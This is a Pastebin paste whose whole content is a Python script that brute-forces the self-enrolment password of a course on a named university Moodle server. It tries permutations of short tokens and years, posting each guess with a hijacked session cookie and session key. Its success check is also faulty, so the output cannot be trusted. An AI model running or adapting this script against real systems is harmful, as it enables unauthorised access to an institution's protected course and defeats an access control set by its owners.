Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import itertools
- import requests
- passwords = []
- for x in [2, 3, 4, 5]:
- passwords.extend(list(itertools.permutations(['MF', 'MS', '2018', 'PS', '2'], x)))
- for x in [2, 3, 4, 5]:
- passwords.extend(list(itertools.permutations(['MF', 'MS', '2017', 'PS', '2'], x)))
- for password in passwords:
- cookies = {
- 'MoodleSession': '<cookie z przeglądarki>',
- }
- data = [
- ('id', 106),
- ('instance', 1206),
- ('sesskey', '<klucz sesji z requestu>'),
- ('_qf__1206_enrol_self_enrol_form', 1),
- ('mform_isexpanded_id_selfheader', 1),
- ('enrolpassword', ''.join(password)),
- ('submitbutton', 'Zapisz mnie'),
- ]
- response = requests.post('https://cez2.wi.pb.edu.pl/moodle/enrol/index.php', data=data, cookies=cookies)
- assert response.status_code == 200
- assert str(response.content).find('Szymon Zdanowski')
- print(''.join(password))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement